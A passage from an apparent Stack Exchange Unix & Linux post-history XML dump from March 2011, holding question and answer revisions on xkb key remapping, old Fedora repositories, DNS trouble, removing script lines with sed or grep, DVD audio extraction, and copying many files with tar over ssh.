edits.*&#xD;&#xA;&#xD;&#xA;**QUESTION**: how to define a layout file to set CapsLock-key as Alt, and Alt-key as Meta?&#xD;&#xA;&#xD;&#xA;##2. xfree86##&#xD;&#xA;&#xD;&#xA;But now this does not work, I guess other file table is read instead of xfree86.&#xD;&#xA;&#xD;&#xA;**QUESTION:** how to find out which keycode table file is used by system (X/Gnome)?&#xD;&#xA;&#xD;&#xA;##3. xmodmap ##&#xD;&#xA;&#xD;&#xA;*This part is solved thanks to Gilles.*&#xD;&#xA;&#xD;&#xA;Half of success here. This part works as desired:&#xD;&#xA;&#xD;&#xA;    remove Lock = Caps_Lock&#xD;&#xA;    keysym Caps_Lock = Alt_L&#xD;&#xA;&#xD;&#xA;Now, I have trully CapsLock-key which is mapped to Alt. But this:&#xD;&#xA;&#xD;&#xA;    keysym Alt_L = Meta_L&#xD;&#xA;&#xD;&#xA;does strange thing. xev shows that Alt-key is mapped to Meta, but when I press Alt+F (this should be mapped to Meta+F --&gt; doing nothing) the File menu is opened. What's more, when I press Alt+Tab, I get window-switcher (I should not -- Alt is Meta now).&#xD;&#xA;&#xD;&#xA;**QESTION**: how to &quot;delete&quot; old behavior for Alt-key?&#xD;&#xA;&#xD;&#xA;#Summary#&#xD;&#xA;&#xD;&#xA;Answering any question would (hopefully) solve my problem, however I prefer using xkb entirely because I could then pack all the files for xkb and change layout in one place. Thank you in advance for any help!&#xD;&#xA;&#xD;&#xA;#EDITS#&#xD;&#xA;&#xD;&#xA;##(1) ad. xkb##&#xD;&#xA;&#xD;&#xA;Half of success here too! Now I have such entries&#xD;&#xA;&#xD;&#xA;    key &lt;CAPS&gt; { [ Alt_L ] };&#xD;&#xA;    modifier_map Mod1 { &lt;CAPS&gt; }; // this is a difference&#xD;&#xA;&#xD;&#xA;and this works as desired. This does not:&#xD;&#xA;&#xD;&#xA;    key &lt;LALT&gt; { [ Meta_L ] } ;&#xD;&#xA;    key &lt;RALT&gt; { [ Meta_R ] } ;&#xD;&#xA;    modifier_map Mod5 { &lt;LALT&gt;,&lt;RALT&gt; };&#xD;&#xA;&#xD;&#xA;Alt-keys are recognized as Meta by xev, but I still can open the menus with Alt+F, switch windows, and I shouldn't. And on the other hand I cannot enter any national character, and I should.&#xD;&#xA;&#xD;&#xA;##(2) ad. xfree86##&#xD;&#xA;&#xD;&#xA;The best option for me -- editing keycode tables -- solved! See below (in answers)." />
  <row Id="23947" PostHistoryTypeId="2" PostId="10008" RevisionGUID="180ceb7e-1a30-4d5d-8fe6-ee7516ff0418" CreationDate="2011-03-24T06:06:54.717" UserId="5884" Text="##Editing keycodes approach##&#xD;&#xA;I found the answer on Polish Ubuntu forum. Now one does not edit &quot;xfree86&quot; file but &quot;evdev&quot; file. This way you can make permanent changes which work for all layouts.&#xD;&#xA;&#xD;&#xA;Example (on Gilles request) -- log in as root, go to &#xD;&#xA;&#xD;&#xA;    /usr/share/X11/xkb/keycodes&#xD;&#xA;&#xD;&#xA;make a backup of &quot;evdev&quot; file, and then edit it. Change the codes to your liking, for example in my case:&#xD;&#xA;&#xD;&#xA;    &lt;LALT&gt; = 66; // when I press CapsLock (66 code) system will report pressing LeftAlt&#xD;&#xA;    &lt;LMTA&gt; = 64; // I will get LeftMeta when pressing LeftAlt (64 code)&#xD;&#xA;&#xD;&#xA;You can find what the codes by executing command &quot;xev&quot;, but you can simply look at original &quot;evdev&quot; file.&#xD;&#xA;&#xD;&#xA;Log out, log in, enjoy your new keyboard :-)." />
  <row Id="23948" PostHistoryTypeId="2" PostId="10009" RevisionGUID="76c96d0d-5853-4f65-8c0d-8377bc93c47c" CreationDate="2011-03-24T07:44:15.410" UserId="5139" Text="Is there any alive repository for my fedora core 3 linux?&#xD;&#xA;&#xD;&#xA;( I want to use the `yum` command but one error comes and tells that `base url is not valid`)&#xD;&#xA;&#xD;&#xA;help to find any alive repository is very much appreciated :)" />
  <row Id="23949" PostHistoryTypeId="1" PostId="10009" RevisionGUID="76c96d0d-5853-4f65-8c0d-8377bc93c47c" CreationDate="2011-03-24T07:44:15.410" UserId="5139" Text="one simple question about fedora 3" />
  <row Id="23950" PostHistoryTypeId="3" PostId="10009" RevisionGUID="76c96d0d-5853-4f65-8c0d-8377bc93c47c" CreationDate="2011-03-24T07:44:15.410" UserId="5139" Text="éfedoraàéyumà" />
  <row Id="23951" PostHistoryTypeId="5" PostId="9438" RevisionGUID="5cfc186e-ac30-4267-bcf1-631d3cb8e7ce" CreationDate="2011-03-24T07:47:46.287" UserId="4815" Comment="added additional information." Text="I am having an error with name resolution that I am not able to figure out.&#xD;&#xA;&#xD;&#xA;The system is able to resolve names, say, www.google.com when using a graphical browser like chrome or firefox. But on the command line it is not able to (unless I add the domain in /etc/hosts). This extends to all operations on the command line like ping and others. We have a proxy in this environment and the proxy information is set using environment variables.&#xD;&#xA;&#xD;&#xA;ETA:&#xD;&#xA;&#xD;&#xA;I noticed that it does seem to resolve IP addresses but it is still not able to reach them. This makes it even more perplexing. &#xD;&#xA;&#xD;&#xA;    farhat@farhat:~$ traceroute www.google.com&#xD;&#xA;    traceroute to www.google.com (209.85.153.104), 30 hops max, 60 byte packets&#xD;&#xA;     1  192.168.4.1 (192.168.4.1)  0.496 ms  1.033 ms  1.294 ms&#xD;&#xA;     2  210.212.187.65 (210.212.187.65)  0.872 ms  0.942 ms  0.930 ms&#xD;&#xA;     3  * * *&#xD;&#xA;     4  * * *&#xD;&#xA;     5  * * *&#xD;&#xA;     6  * * *&#xD;&#xA;     7  * * *&#xD;&#xA;&#xD;&#xA;    farhat@farhat:~$ ping www.google.com&#xD;&#xA;    PING www.l.google.com (209.85.153.104) 56(84) bytes of data.&#xD;&#xA;    ^C&#xD;&#xA;    --- www.l.google.com ping statistics ---&#xD;&#xA;    100 packets transmitted, 0 received, 100% packet loss, time 99131ms&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;pinging www.google.com fails.&#xD;&#xA;" />
  <row Id="23952" PostHistoryTypeId="2" PostId="10010" RevisionGUID="b0a5ccea-a2c4-4469-8612-82055ad9fbda" CreationDate="2011-03-24T07:59:29.533" UserId="5589" Text="I'm experimenting with generating some custom kernels using `genkernel`.&#xD;&#xA;&#xD;&#xA;However, each iteration leaves a file in `/boot` called `System.map-genkernel-&lt;arch&gt;-&lt;version&gt;`.&#xD;&#xA;&#xD;&#xA;Is it safe to rename and/or delete the `System.map-*` files?" />
  <row Id="23953" PostHistoryTypeId="1" PostId="10010" RevisionGUID="b0a5ccea-a2c4-4469-8612-82055ad9fbda" CreationDate="2011-03-24T07:59:29.533" UserId="5589" Text="Safe to delete System.map-* files in /boot?" />
  <row Id="23954" PostHistoryTypeId="3" PostId="10010" RevisionGUID="b0a5ccea-a2c4-4469-8612-82055ad9fbda" CreationDate="2011-03-24T07:59:29.533" UserId="5589" Text="élinuxàékernelàébootàégentooà" />
  <row Id="23955" PostHistoryTypeId="2" PostId="10011" RevisionGUID="c8d96d1f-507c-4557-9f6b-604f893352ed" CreationDate="2011-03-24T08:17:02.413" UserId="2421" Text="The [System.map][1] file is mainly used to debug kernel crashes.  It's not actually necessary, but it's best to keep it around if you're going to use that kernel.  If you've decided you don't need that kernel, then it's safe to delete the corresponding map file.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/System.map" />
  <row Id="23956" PostHistoryTypeId="5" PostId="10009" RevisionGUID="170d8bb3-b051-4414-8f1a-4d33ebb8849f" CreationDate="2011-03-24T08:20:43.497" UserId="2421" Comment="better title; fixed typos" Text="Is there any alive repository for my Fedora Core 3 Linux?&#xD;&#xA;&#xD;&#xA;(I want to use the `yum` command but one error comes and tells that `base url is not valid`)&#xD;&#xA;&#xD;&#xA;help to find any alive repository is very much appreciated :)" />
  <row Id="23957" PostHistoryTypeId="4" PostId="10009" RevisionGUID="170d8bb3-b051-4414-8f1a-4d33ebb8849f" CreationDate="2011-03-24T08:20:43.497" UserId="2421" Comment="better title; fixed typos" Text="Are there any repositories for Fedora 3?" />
  <row Id="23958" PostHistoryTypeId="24" PostId="10009" RevisionGUID="170d8bb3-b051-4414-8f1a-4d33ebb8849f" CreationDate="2011-03-24T08:20:43.497" Comment="Proposed by 2421 approved by 885 edit id of 228" />
  <row Id="23959" PostHistoryTypeId="25" PostId="10009" RevisionGUID="3e5e391e-fcf5-452d-a750-1491e53a3220" CreationDate="2011-03-24T08:31:33.800" Comment="http://twitter.com/#!/StackUnix/status/50837141818847232" />
  <row Id="23960" PostHistoryTypeId="5" PostId="10009" RevisionGUID="4371f619-e84e-439b-a36f-b2321d3f56a2" CreationDate="2011-03-24T08:39:33.023" UserId="5139" Comment="added 4 characters in body" Text="Is there any alive repository for my Fedora Core 3 Linux?&#xD;&#xA;&#xD;&#xA;(I want to use the `yum` command but one error comes and tells that `base url is not valid`)&#xD;&#xA;&#xD;&#xA;Any help to find any alive repository is very much appreciated :)" />
  <row Id="23961" PostHistoryTypeId="2" PostId="10012" RevisionGUID="c85285e9-680c-4ee1-9549-2c2e13dc05ba" CreationDate="2011-03-24T08:49:11.273" UserId="5664" Text="the input would be like this in a file:&lt;br&gt;&#xD;&#xA;&#xD;&#xA;	&lt;sCripT&#xD;&#xA;&#xD;&#xA;and the parsing looks like this:&lt;br&gt;&#xD;&#xA;&#xD;&#xA;	sed -i &quot;s/&lt;script//g&quot; SOMETHING.html&#xD;&#xA;&#xD;&#xA;the &quot;/gi&quot; is not good, because OpenWrt doesn't knows it (busybox..):&lt;br&gt;&#xD;&#xA;&#xD;&#xA;	sed: bad option in substitution expression&#xD;&#xA;&#xD;&#xA;Does anybody know how could i delete e.g.: the:&#xD;&#xA;&#xD;&#xA;	&lt; sCripT or &#xD;&#xA;	&quot;&lt;scRiPt&quot; &#xD;&#xA;&#xD;&#xA;with one sed?&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Plus (the really thing i need): how could i delete the whole line containing &#xD;&#xA;&#xD;&#xA;	&quot;&lt;sCripT&quot; or &#xD;&#xA;	&quot;&lt;scRiPt&quot;, etc.?" />
  <row Id="23962" PostHistoryTypeId="1" PostId="10012" RevisionGUID="c85285e9-680c-4ee1-9549-2c2e13dc05ba" CreationDate="2011-03-24T08:49:11.273" UserId="5664" Text="non-case-sensitive sed - OpenWrt" />
  <row Id="23963" PostHistoryTypeId="3" PostId="10012" RevisionGUID="c85285e9-680c-4ee1-9549-2c2e13dc05ba" CreationDate="2011-03-24T08:49:11.273" UserId="5664" Text="ésedàéopenwrtà" />
  <row Id="23964" PostHistoryTypeId="5" PostId="9556" RevisionGUID="157a14ea-0105-4ac7-ab68-ecc2428a9093" CreationDate="2011-03-24T08:54:22.707" UserId="3963" Comment="add personal note; added 46 characters in body" Text="Check out the following lists of linux friendly graphics cards/chipsets, both open and proprietary:&#xD;&#xA;&#xD;&#xA;http://www.phoronix.com/scan.php?page=category&amp;item=Graphics%20Cards (provides benchmarks and reviews and all, pretty cool)&#xD;&#xA;&#xD;&#xA;http://www.tldp.org/HOWTO/Hardware-HOWTO/video.html&#xD;&#xA;&#xD;&#xA;http://hardware4linux.info/search/&#xD;&#xA;&#xD;&#xA;http://xorg.freedesktop.org/wiki/Projects/Drivers?action=show&amp;redirect=VideoDrivers&#xD;&#xA;&#xD;&#xA;On a personal note, i would choose a NVIDIA graphics card. Their [proprietary linux drivers](http://www.nvidia.com/object/unix.html) are really good and frequently updated.  They even release driver versions for FreeBSD and Solaris. To my knowledge there's no match out there(neither proprietary nor free) and I didn't have any real issues with direct rendering and 3D pertaining to NVIDIA cards since GeForce series got out.&#xD;&#xA;" />
  <row Id="23965" PostHistoryTypeId="2" PostId="10013" RevisionGUID="646fbc59-873b-4f66-bfae-190a841d2a61" CreationDate="2011-03-24T08:57:14.193" UserId="5884" Text="I have Gnome (default), KDE4 and KDE3 installed.&#xD;&#xA;&#xD;&#xA;When I log out, GDM kicks in and I can select other desktop than Gnome -- among window managers, there is KDE4 (as KDE), but no KDE3.&#xD;&#xA;&#xD;&#xA;**Question**: how to make KDE3 visible for GDM, so I could select it?&#xD;&#xA;&#xD;&#xA;openSUSE 11.4." />
  <row Id="23966" PostHistoryTypeId="1" PostId="10013" RevisionGUID="646fbc59-873b-4f66-bfae-190a841d2a61" CreationDate="2011-03-24T08:57:14.193" UserId="5884" Text="How to make KDE3 visible for GDM?" />
  <row Id="23967" PostHistoryTypeId="3" PostId="10013" RevisionGUID="646fbc59-873b-4f66-bfae-190a841d2a61" CreationDate="2011-03-24T08:57:14.193" UserId="5884" Text="égnomeàékdeàégdmà" />
  <row Id="23968" PostHistoryTypeId="2" PostId="10014" RevisionGUID="daec0c14-efff-46ea-8211-c0adfff285f9" CreationDate="2011-03-24T09:02:01.707" UserId="3963" Text="Use `grep gettext /usr/share/gconf/schemas/*`. Identify the `.schemas` file containing the issue and then take action upon the related package(either reinstall or update to later version).&#xD;&#xA;&#xD;&#xA;Anjuta for eg. had an issue just like that." />
  <row Id="23969" PostHistoryTypeId="2" PostId="10015" RevisionGUID="e121a138-59f9-4816-8506-f04c2694d282" CreationDate="2011-03-24T09:08:26.070" UserId="3169" Text="I can't see a way using Busybox's `sed`, but you could use Busybox's `sh` and `grep` like this:&#xD;&#xA;&#xD;&#xA;    while IFS='&#xD;&#xA;    ' read line; do&#xD;&#xA;        printf &quot;%s\n&quot; &quot;$line&quot; | grep -qi '&lt;script' || echo &quot;$line&quot;&#xD;&#xA;    done &lt;SOMETHING.html &gt;SOMETHING.html.tmp&#xD;&#xA;    mv SOMETHING.html.tmp SOMETHING.html" />
  <row Id="23970" PostHistoryTypeId="2" PostId="10016" RevisionGUID="5b40a31d-46e4-442c-83ee-d44ac73e8d7e" CreationDate="2011-03-24T09:09:14.917" UserId="36" Text="I have had issues with mdns4_minimal in /etc/nsswitch.conf and would suggest testing removing that&#xD;&#xA;" />
  <row Id="23971" PostHistoryTypeId="5" PostId="9998" RevisionGUID="2ea7d8b5-c97d-45cf-8d6e-d566df30ea21" CreationDate="2011-03-24T09:16:50.637" UserId="2362" Comment="added references" Text="&gt; In information security, integrity&#xD;&#xA;&gt; means that data cannot be modified&#xD;&#xA;&gt; undetectably.&#xD;&#xA;&#xD;&#xA;[This answer][1] raised my interest, of course, I want to guarantee the integrity of my OS, outlined [here][2]. Suppose a security camera project where you store every photo to a folder. How could you guarantee the integrity of the OS so that no picture cannot be removed or if removed it will leave traces?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;My preference is OpenBSD, but I am interested in general about the integrity of OSs as well.&#xD;&#xA;&#xD;&#xA;**Related but not the same**&#xD;&#xA;&#xD;&#xA; 1. [favourite integrity monitoring software?][3]&#xD;&#xA; 2. [Verifying server software integrity?][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/9527/full-disk-encryption-on-openbsd/9684#9684&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/CIA_triad#Integrity&#xD;&#xA;  [3]: http://security.stackexchange.com/questions/1159/what-is-your-favorite-file-integrity-monitoring-software&#xD;&#xA;  [4]: http://security.stackexchange.com/questions/2459/verifying-server-software-integrity" />
  <row Id="23972" PostHistoryTypeId="2" PostId="10017" RevisionGUID="61a510a5-09ba-4a7c-974d-c4414999fe0d" CreationDate="2011-03-24T09:17:34.697" UserId="1458" Text="Yes, there is.&#xD;&#xA;&#xD;&#xA;http://archive.kernel.org/fedora-archive/fedora/linux/core/3/i386/os" />
  <row Id="23973" PostHistoryTypeId="5" PostId="9998" RevisionGUID="032dece3-e2a9-4a29-90e2-044f2098ef64" CreationDate="2011-03-24T09:27:48.947" UserId="2362" Comment="deleted 98 characters in body" Text="&gt; In information security, integrity&#xD;&#xA;&gt; means that data cannot be modified&#xD;&#xA;&gt; undetectably.&#xD;&#xA;&#xD;&#xA;[This answer][1] raised my interest, of course, I want to guarantee the integrity of my OS, outlined [here][2]. Suppose a security camera project where you store every photo to a folder. How could you guarantee the integrity of the OS so that no picture cannot be removed or if removed it will leave traces?&#xD;&#xA;&#xD;&#xA;**Related but not the same**&#xD;&#xA;&#xD;&#xA; 1. [favourite integrity monitoring software?][3]&#xD;&#xA; 2. [Verifying server software integrity?][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/9527/full-disk-encryption-on-openbsd/9684#9684&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/CIA_triad#Integrity&#xD;&#xA;  [3]: http://security.stackexchange.com/questions/1159/what-is-your-favorite-file-integrity-monitoring-software&#xD;&#xA;  [4]: http://security.stackexchange.com/questions/2459/verifying-server-software-integrity" />
  <row Id="23974" PostHistoryTypeId="2" PostId="10018" RevisionGUID="dcc09c39-b081-4dae-8ff7-c1bfead21d7a" CreationDate="2011-03-24T09:32:42.643" UserId="5664" Text="i have a DVD's content on my HDD: i have these 2 usually folders, ok:&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;AUDIO_TS&lt;br&gt;&#xD;&#xA;VIDEO_TS&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;I just can't google a working way to extract the audio from the DVD. the howtos usually write about when the dvd is in the ODD. but i have it on my HDD, and don't want to burn it to a dvd (there are several dvd's exactly).&lt;br&gt;&#xD;&#xA;Are there any good way to extract the audio part from the DVD?&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;my original problem is that i want to convert them to h263 &quot;AVI&quot;. But theres no sound when i open them with avidemux. but: i can import sound files to avidemux, if i had them.&lt;br&gt;" />
  <row Id="23975" PostHistoryTypeId="1" PostId="10018" RevisionGUID="dcc09c39-b081-4dae-8ff7-c1bfead21d7a" CreationDate="2011-03-24T09:32:42.643" UserId="5664" Text="How to export/extract audio from a DVD under Fedora 14?" />
  <row Id="23976" PostHistoryTypeId="3" PostId="10018" RevisionGUID="dcc09c39-b081-4dae-8ff7-c1bfead21d7a" CreationDate="2011-03-24T09:32:42.643" UserId="5664" Text="éfedoraàédvdà" />
  <row Id="23977" PostHistoryTypeId="2" PostId="10019" RevisionGUID="ee0ba3a1-9cbc-4772-adf4-974df59214db" CreationDate="2011-03-24T10:09:10.203" UserId="4523" Text="`mplayer dvd://1 -dvd-device=/path/to/copy_on_hdd/ -dumpaudio -dumpfile audio.ac3`" />
  <row Id="23978" PostHistoryTypeId="25" PostId="10012" RevisionGUID="dc1bae55-e8f9-4aba-bc68-89057cf3ab30" CreationDate="2011-03-24T11:31:34.163" Comment="http://twitter.com/#!/StackUnix/status/50882441635823616" />
  <row Id="23979" PostHistoryTypeId="2" PostId="10020" RevisionGUID="c1fd0183-f8a1-47e5-9c2a-ca059aa8850e" CreationDate="2011-03-24T11:31:59.293" UserId="1290" Text="Hi I have a laptop (Fujitsu Siemens Amilo 4000), I'd like to control the cooling fan manually.&#xD;&#xA;How do I do that? `/proc/acpi/fan/` is empty, the fan is otherwise working well.&#xD;&#xA;&#xD;&#xA;Distro is Fedora 14." />
  <row Id="23980" PostHistoryTypeId="1" PostId="10020" RevisionGUID="c1fd0183-f8a1-47e5-9c2a-ca059aa8850e" CreationDate="2011-03-24T11:31:59.293" UserId="1290" Text="How to deliberately activate cooling fan of laptop?" />
  <row Id="23981" PostHistoryTypeId="3" PostId="10020" RevisionGUID="c1fd0183-f8a1-47e5-9c2a-ca059aa8850e" CreationDate="2011-03-24T11:31:59.293" UserId="1290" Text="éfedoraàéacpiàéfanà" />
  <row Id="23982" PostHistoryTypeId="2" PostId="10021" RevisionGUID="76656376-f282-48c0-b759-e67c43255c85" CreationDate="2011-03-24T11:32:20.133" UserId="6004" Text="I have a dv6000 laptop . My speaker and mic were working few days ago . But now only external speaker works. &#xD;&#xA;Can anyone suggest me some solutions please.&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="23983" PostHistoryTypeId="1" PostId="10021" RevisionGUID="76656376-f282-48c0-b759-e67c43255c85" CreationDate="2011-03-24T11:32:20.133" UserId="6004" Text="internal speaker not working ubuntu 10.10" />
  <row Id="23984" PostHistoryTypeId="3" PostId="10021" RevisionGUID="76656376-f282-48c0-b759-e67c43255c85" CreationDate="2011-03-24T11:32:20.133" UserId="6004" Text="élinuxàéubuntuà" />
  <row Id="23985" PostHistoryTypeId="2" PostId="10022" RevisionGUID="16280773-1c88-4cfb-955f-fa48391bd8c3" CreationDate="2011-03-24T11:38:55.787" UserId="3519" Text="Does the Busybox not have `grep -v`?&#xD;&#xA;&#xD;&#xA;This should do the job in one simple command:&#xD;&#xA;&#xD;&#xA;    grep -vi &quot;&lt;[ \t]*script&quot; SOMETHING.html&#xD;&#xA;" />
  <row Id="23986" PostHistoryTypeId="2" PostId="10023" RevisionGUID="5138c84d-adb9-4abe-b6bd-a1c74330eab2" CreationDate="2011-03-24T11:50:09.013" UserId="5923" Text="Unless you can block unauthorized access to the **OS *and* hardware**, I don't see how anyone could guarantee the integrity of any system without using only Write-Once storage." />
  <row Id="23987" PostHistoryTypeId="2" PostId="10024" RevisionGUID="e5506bd0-ff6d-4862-bdd6-f84c053f49fa" CreationDate="2011-03-24T12:00:55.737" UserId="5884" Text="Found out even more general solution:&#xD;&#xA;&#xD;&#xA;http://ubuntuforums.org/showthread.php?t=2920&#xD;&#xA;&#xD;&#xA;it is described how to modify any session manager to &quot;see&quot; any session type. In my case it was sufficient to copy kde4.desktop to kde3.desktop and change the prefix path from /usr/ to /opt/kde3." />
  <row Id="23988" PostHistoryTypeId="2" PostId="10025" RevisionGUID="5910b343-e5eb-429d-ae2c-8235cd7b9641" CreationDate="2011-03-24T12:25:28.220" UserId="3046" Text="You don't necessarily need OS level integrity for the application you describe - you could just use a Write Once Read Many drive (WORM) which physically will not allow any file to be deleted/overwritten.&#xD;&#xA;&#xD;&#xA;Alternately, you can buy machines with TPM for not too much money (still more than buying a WORM drive)&#xD;&#xA;&#xD;&#xA;Or use tripwire in conjunction with a chrooted environment." />
  <row Id="23989" PostHistoryTypeId="5" PostId="9955" RevisionGUID="50764fb2-a2d4-4dab-acd4-f1bfc2d5a07d" CreationDate="2011-03-24T12:48:06.390" UserId="3976" Comment="Added the missing information I glossed over in my answer, which geekosaur explained; added 180 characters in body" Text="You're running into a variable scope issue.  The variables defined in the while loop that is on the right side of the pipe have their own local scope context, and changes to the variable will not be seen outside of the loop.  The while loop is essentially a subshell which gets a **COPY** of the shell environment, and any changes to the environment are lost at the end of the shell.  See this [StackOverflow question][1].&#xD;&#xA;&#xD;&#xA;**UPDATED**: I neglected to point out the important fact that the while loop with it's own subshell was due to it being the endpoint of a pipe, I've updated that in the answer.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/124167/bash-variable-scope" />
  <row Id="23990" PostHistoryTypeId="5" PostId="9159" RevisionGUID="188371ce-f208-4465-aea8-31e1df1d01f4" CreationDate="2011-03-24T12:58:29.750" UserId="138" Comment="grammar fix" Text="Many devices use nonstandard connectors for serial ports. RJ-45 is probably the most common connector used for RS-232 serial after DB-9, but unlike with DB-9, there aren't even *de facto* standards for the pinout. I'm aware of 4 different RJ-45 RS-232 pinouts, and there are probably others I haven't seen yet.&#xD;&#xA;&#xD;&#xA;None of this means that people are somehow converting Ethernet to serial. They merely happen to use the same connector.&#xD;&#xA;&#xD;&#xA;There are many products that do provide that conversion, and in fact most of them do use the RJ-45 connector for their serial side. For an example of a single-port converter, there's the &lt;a href=&quot;http://www.digi.com/products/serialservers/digionesp.jsp&quot;&gt;Digi One SP&lt;/a&gt;. More common are boxes that provide multiple serial ports, like the &lt;a href=&quot;http://www.digi.com/products/serialservers/portserverts816.jsp&quot;&gt;Digi PortServer&lt;/a&gt; and the &lt;a href=&quot;http://www.avocent.com/Products/Category/Serial_Appliances/CS_Console_Servers.aspx&quot;&gt;Avocent (neé Cyclades) Console Servers&lt;/a&gt;. These are just two examples out of many. Digi and Avocent are easily the two biggest players, but there are lots of smaller companies doing things like this.&#xD;&#xA;&#xD;&#xA;Some of these boxes present themselves to the OS as `/dev/ttyWHATEVER` by installing a driver. These have the advantage that any program that knows how to talk to a serial port can talk to the remote device plugged into the converter. For the most part, the driver makes the converter appear no different from a local serial port. For example, if a program opens one of the converter's `/dev/` nodes and calls `termios()` on it to set the serial port's bit rate, the driver forwards the command to the remote converter box, which changes the serial bit rate on that port.&#xD;&#xA;&#xD;&#xA;The main problem you run into with that type of converter is that it isn't always possible to find a working driver for your particular kernel. This problem is becoming more common as the popularity of RS-232 drops, since it means the companies providing these boxes have dwindling incentives to keep enhancing their driver to track kernel differences.&#xD;&#xA;&#xD;&#xA;The other major type of serial to Ethernet converter is purely a network appliance. For example, with the Cyclades boxes, if it gets the IP 10.1.2.3 from the DHCP server, you can connect to 10.1.2.3 on TCP port 7001 to connect to the first serial port. You'd use TCP port 7002 for the second serial port, and so forth.&#xD;&#xA;&#xD;&#xA;To set serial port parameters with this sort of converter, you typically have to use a web management UI hosted by the converter box. While this does mean you don't get features like automatic serial port parameter forwarding to the converter, you do get compatibility with any program that can open a TCP connection without needing a driver." />
  <row Id="23991" PostHistoryTypeId="2" PostId="10026" RevisionGUID="8efb084e-43b6-4e3f-8cea-5e8c7ed87fdd" CreationDate="2011-03-24T13:57:41.713" UserId="6008" Text="I have a directory that's got several gigabytes and several thousand small files. I want to copy it over the network with scp more than once. CPU time on the source and destination machines is cheap, but the network overhead added by copying each file individually is huge. I would tar/gzip it up and ship it over, but the source machine is short on disk.&#xD;&#xA;&#xD;&#xA;Is there a way for me to pipe the output of `tar -czf &lt;output&gt; &lt;directory&gt;` to scp? If not, is there another easy solution? My source machine is ancient (SunOS) so I'd rather not go installing things on it." />
  <row Id="23992" PostHistoryTypeId="1" PostId="10026" RevisionGUID="8efb084e-43b6-4e3f-8cea-5e8c7ed87fdd" CreationDate="2011-03-24T13:57:41.713" UserId="6008" Text="How can I best copy large numbers of small files over scp?" />
  <row Id="23993" PostHistoryTypeId="3" PostId="10026" RevisionGUID="8efb084e-43b6-4e3f-8cea-5e8c7ed87fdd" CreationDate="2011-03-24T13:57:41.713" UserId="6008" Text="étaràéscpà" />
  <row Id="23994" PostHistoryTypeId="2" PostId="10027" RevisionGUID="2ff159f3-a05f-46d8-ae04-0cf62a2109c7" CreationDate="2011-03-24T14:02:36.403" UserId="1290" Text="use [`rsync`][1], it uses SSH.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Rsync&#xD;&#xA;&#xD;&#xA;Usage:&#xD;&#xA;&#xD;&#xA;    rsync -aPz /source/path destination.server:remote/path&#xD;&#xA;&#xD;&#xA;The rsync switches care about compression and I-Node information. `-P` displays progress of every file.&#xD;&#xA;&#xD;&#xA;You can use `scp -C`, which enables compression, but if possible, use `rsync`." />
  <row Id="23995" PostHistoryTypeId="2" PostId="10028" RevisionGUID="ae41e0ad-1286-49cb-8925-c98c43959fb5" CreationDate="2011-03-24T14:05:09.630" UserId="3001" Text="You can pipe tar across an ssh session:&#xD;&#xA;&#xD;&#xA;    $ tar czf - &lt;files&gt; | ssh user@host &quot;cd /wherever; tar xvzf -&quot;" />
  <row Id="23996" PostHistoryTypeId="2" PostId="10029" RevisionGUID="39c94b0e-5103-4ef0-a05a-94473a3147b9" CreationDate="2011-03-24T14:05:46.970" UserId="732" Text="You can run `tar` on both ends using ssh.  `scp` is part of the `ssh` family of goodness, so you probably have it on both ends.&#xD;&#xA;&#xD;&#xA;     8:03AM 12 % tar cf - some_directory | ssh dest_host &quot;tar xf -&quot;&#xD;&#xA;&#xD;&#xA;There may be a way to work gzip or bzip2 into the pipeline to lessen the network traffic, too." />
  <row Id="23997" PostHistoryTypeId="2" PostId="10030" RevisionGUID="d319c998-2c6f-4594-b9af-a1c035d78369" CreationDate="2011-03-24T14:16:35.800" UserId="5923" Text="If you have gzip on both ends:&#xD;&#xA;`sourcehost$ cd sourcedir &amp;&amp; tar cf - . | gzip -c - | ssh user@destinationhost &quot;cd destinationdir &amp;&amp; gzip -c -d | tar xf -&quot;`&#xD;&#xA;&#xD;&#xA;If you don't have gzip on the source machine, make sure you have uncompress on the destination:&#xD;&#xA;`sourcehost$ cd sourcedir &amp;&amp; tar cf - . | compress | ssh user@destinationhost &quot;cd destdir &amp;&amp; uncompress | tar xf -&quot;`&#xD;&#xA;&#xD;&#xA;" />
  <row Id="23998" PostHistoryTypeId="5" PostId="10030" RevisionGUID="b78b55df-14b7-4e83-8b8b-a268557701b1" CreationDate="2011-03-24T14:22:20.630" UserId="5923" Comment="Commenting on solution" Text="If you have gzip on both ends:&#xD;&#xA;`sourcehost$ cd sourcedir &amp;&amp; tar cf - . | gzip -c - | ssh user@destinationhost &quot;cd destinationdir &amp;&amp; gzip -c -d | tar xf -&quot;`&#xD;&#xA;&#xD;&#xA;If you don't have gzip on the source machine, make sure you have uncompress on the destination:&#xD;&#xA;`sourcehost$ cd sourcedir &amp;&amp; tar cf - . | compress | ssh user@destinationhost &quot;cd destdir &amp;&amp; uncompress | tar xf -&quot;`&#xD;&#xA;&#xD;&#xA;This would be faster than first zipping it up, then sending, then unzipping, and it requires no extra disk space on either side.&#xD;&#xA;I sikpped the compression (z) flag on tar, because you probably dont have it on the ancient side.&#xD;&#xA;" />
